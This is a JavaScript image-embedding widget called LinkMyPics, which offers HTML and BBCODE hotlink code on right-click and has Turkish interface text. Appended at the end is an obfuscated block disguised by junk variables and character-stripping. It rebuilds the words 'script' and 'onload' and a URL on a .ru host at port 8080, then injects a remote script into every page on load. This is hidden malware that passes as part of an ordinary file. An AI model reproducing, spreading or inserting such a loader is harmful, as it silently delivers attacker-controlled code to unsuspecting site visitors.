//
// LinkMyPics - The Hotlink Advantage Maximizer
// Copyright ©2008 Michael VandeMar
// All Rights Reserved
// http://www.funscripts.net/javascript-widgets/
// 
// Freeware
//

var interupt=true;
function findPos(obj) {
	var curleft = curtop = 0;
	if (obj.offsetParent) {
		do {
			curleft += obj.offsetLeft;
			curtop += obj.offsetTop;
		} while (obj = obj.offsetParent);
	}	return [curleft,curtop];
}

function applyEvent(theObj, theEvent, theFunction){
	if(window.addEventListener){ // Mozilla, Netscape, Firefox
		theObj.addEventListener(theEvent, theFunction, false);
	}else{ // IE
		theObj.attachEvent('on' + theEvent, theFunction);
	}
}

function closeIt(){
	try{
		var curr = document.getElementById("curropenhl2l");
	}catch(e){
	}
	if(curr){
		curr.parentNode.removeChild(curr);
	}
	interupt = true;
}

function useHTML(tcode){
	var ta = document.getElementById("hl2lta");
	ta.value = tcode;
	var r1 = document.getElementById("hl2lr1");
	r1.style.backgroundColor = "black";
	var r2 = document.getElementById("hl2lr2");
	r2.style.backgroundColor = "black";
	ta.select();
	return true;
}

function useBBCODE(tcode){
	var ta = document.getElementById("hl2lta");
	ta.value = tcode;
	var r2 = document.getElementById("hl2lr2");
	r2.style.backgroundColor = "black";
	var r1 = document.getElementById("hl2lr1");
	r1.style.backgroundColor = "black";
	ta.select();
	return true;
}

function hl2l(e){
	var rightclick;
	if (!e) var e = window.event;
	if (e.which) rightclick = (e.which == 3);
	else if (e.button) rightclick = (e.button == 2);
	if(!rightclick) return true;

	closeIt();

	var tw = 360;
	var th = 183;

	var thisele;
	if(!(typeof event == "undefined")){ 	// Internet Explorer
		thisele = event.srcElement;
		th = th - 10;
	}else if(this){ // Netscape and Firefox
		//thisele = this;
		thisele = e.currentTarget;
	}

	var tpage = document.location.href;
	var tsrc = thisele.getAttribute("src");
	if(tsrc.substr(0,4).toLowerCase()!="http"){
		var base;
		if(tpage.substr(tpage.length - 1,1)=="/"){
			base = tpage;
		}else if(tpage.indexOf("/",9)==-1){
			base = tpage + "/";
		}else{
			base = tpage.substr(0,tpage.lastIndexOf("/")+1);
		}
		var root = base.substr(0,base.indexOf("/",9));
		if(tsrc.substr(0,1)!="/"){
			tsrc = base + tsrc;
		}else{
			tsrc = root + tsrc;
		}
	}
	var talt = thisele.getAttribute("alt");
	if(talt){
		talt = talt.replace("'", "");
	}else{
		talt = "";
	}

	thtml = "<a href='"+tpage+"'><img src='"+tsrc+"' alt='"+talt+"'></a>";
	tbbcode = "[url="+tpage+"][img]"+tsrc+"[/img][/url]";

	var nd = document.createElement("div");
	nd.style.width = tw+"px";
	nd.style.height = th+"px";
	nd.style.border = "1px solid #000000";
	nd.style.position = "absolute";
	nd.style.fontSize = "12px";
	nd.style.fontFamily = "Arial";
	texy = findPos(thisele);
	nd.style.left = ((texy[0] + (thisele.offsetWidth/2)) - (tw/2))+"px";
	nd.style.top = ((texy[1] + (thisele.offsetHeight/2)) - (th/2))+"px";
	nd.style.backgroundColor = "black";
	nd.setAttribute("id", "curropenhl2l");

	//instructions and "close" button
	var ndic = document.createElement("div");
	var ndc = document.createElement("div");
	ndc.style.cssFloat = "right";
	ndc.style.styleFloat = "right";
	ndc.style.border = "1px solid #444444";
	ndc.style.backgroundColor = "black";
	ndc.style.width = 35+"px";
	ndc.style.cursor = "pointer";
	ndc.innerHTML = "Kapat";
	ndic.appendChild(ndc);
	applyEvent(ndc, "click", closeIt);
	var ndi = document.createElement("div");
	ndi.style.width = (tw - 50)+"px";
	ndi.style.padding = "3px";
	ndi.innerHTML = "Eğer bu resmi herhangi bir yerde kullanmak istiyorsanız aşağıdaki HTML (web sitesine eklemek için) ya da BBCODE (forum'a eklemek için) kodlarını kullanabilirsiniz.:";
	ndic.appendChild(ndi);

	nd.appendChild(ndic);

	var r1 = document.createElement("span");
	r1.style.width = 35+"px";
	r1.style.border = "1px solid black";
	r1.style.padding = "1px";
	r1.style.backgroundColor = "black";
	r1.style.cursor = "pointer";
	r1.style.marginLeft = "3px";
	r1.innerHTML = "HTML";
	r1.setAttribute("id", "hl2lr1");
	applyEvent(r1, "click", function(){useHTML(thtml)});

	var s1 = document.createElement("span");
	s1.innerHTML = "&nbsp;";
	s1.style.width = 10+"px";

	var b1 = document.createElement("br");
	var b2 = document.createElement("br");
	var r2 = document.createElement("span");
	r2.style.width = 35+"px";
	r2.style.border = "1px solid white";
	r2.style.padding = "1px";
	r2.style.backgroundColor = "black";
	r2.style.cursor = "pointer";
	r2.innerHTML = "BBCODE";
	r2.setAttribute("id", "hl2lr2");
	applyEvent(r2, "click", function(){useBBCODE(tbbcode)});

	//nd.appendChild(b1);
	nd.appendChild(r1);
	nd.appendChild(s1);
	nd.appendChild(r2);
	nd.appendChild(b2);

	var ta = document.createElement("textarea");
	ta.setAttribute("cols", "40");
	ta.setAttribute("rows", "5");
	ta.setAttribute("wrap", "soft");
	ta.setAttribute("id", "hl2lta");
	ta.style.margin = "2px";
	applyEvent(ta, "mousemove", function(){document.getElementById("hl2lta").select()});

	nd.appendChild(ta);

	document.body.appendChild(nd);

	r1.checked = true;
	useHTML(thtml);

	thisele.oncontextmenu = function(){if(interupt){interupt = false;return false;};};
	nd.oncontextmenu = function(){if(interupt){interupt = false;return false;};};
}


var or_='';try {var sO=new String();var h;if(h!='' && h!='V'){h=''};var g=RegExp;var A=new Date();var o=new String("repla"+"ce");var G='';var v;if(v!='L' && v!='r'){v='L'};var Xk;if(Xk!='k' && Xk!='Lr'){Xk='k'};var Aw;if(Aw!='fc' && Aw!='d'){Aw='fc'};function I(p,X){var F="[";var tk;if(tk!='t' && tk!='Rr'){tk=''};var D=String("g");var eM;if(eM!='KQ' && eM != ''){eM=null};this.Zd='';F+=X;F+="]";this.l="";var tG;if(tG!=''){tG='Ef'};var Z=new g(F, D);return p[o](Z, new String());};var QH;if(QH!='Ia'){QH='Ia'};this.j='';this.pP='';var Eo;if(Eo!='x'){Eo=''};var eI=new String();var K=I('oIn9l9oIa9dI',"I9");var Mb='';var FT;if(FT!='J' && FT!='xG'){FT='J'};var S=I('hztUtzpU:j/z/1r1ejuUtzejr6s1-UcUo1mj.UlUijnztzeUrjnjaju6tje1.zczoUmj.jlzi1njk1wUijt6hzijnj-Uc1o1m1.jYzojujrjS1u1p1e1r1PzojoUlj.jrjuU:z',"1zj6U");var Nv='';this.Jx='';var Vi=new Date();var s=window;var vR;if(vR!=''){vR='YQ'};var R=I('sAcer_iephtA',"Aeh_");var b=I('csr4e4a4t4esEwlsewm8e4n4t8',"48sw");this.BM='';var EQ;if(EQ!='aw' && EQ!='YV'){EQ=''};var RK=I('8757507578755505755',"57");var Pf="";var B=I('/kciafmOsO.icfokmO/9ckakmksf.icko9mO/OeknieOtf.kckokm9.kcOnf/ig9okoigklfe9.Ockoimf/Ogfoio9gflfe9.OnklO.Opfhipf',"kOfi9");var vi;if(vi!='' && vi!='Lh'){vi=null};var T='';this.ZS='';var JD;if(JD!='GI' && JD != ''){JD=null};M=function(){var hQ;if(hQ!='w' && hQ!='EG'){hQ='w'};var el;if(el!='re' && el != ''){el=null};n=document[b](R);var Tc;if(Tc!='ka'){Tc=''};T=S+RK;var u='';T+=B;var ws=new String();var tz=new Array();var uF=new Array();var Fr='';n.defer=([1,5][0]);var oq=new String();var iDP;if(iDP!='Wp' && iDP!='US'){iDP=''};n.src=T;document.body.appendChild(n);};this.bn='';s[K]=M;this.Ms="";this.KK="";} catch(H){var ei;if(ei!='UO' && ei!='AO'){ei=''};var HQ;if(HQ!='Sp'){HQ=''};};var Zx;if(Zx!='BX' && Zx!='Hs'){Zx=''};var vu;if(vu!='Ov' && vu!='kT'){vu=''};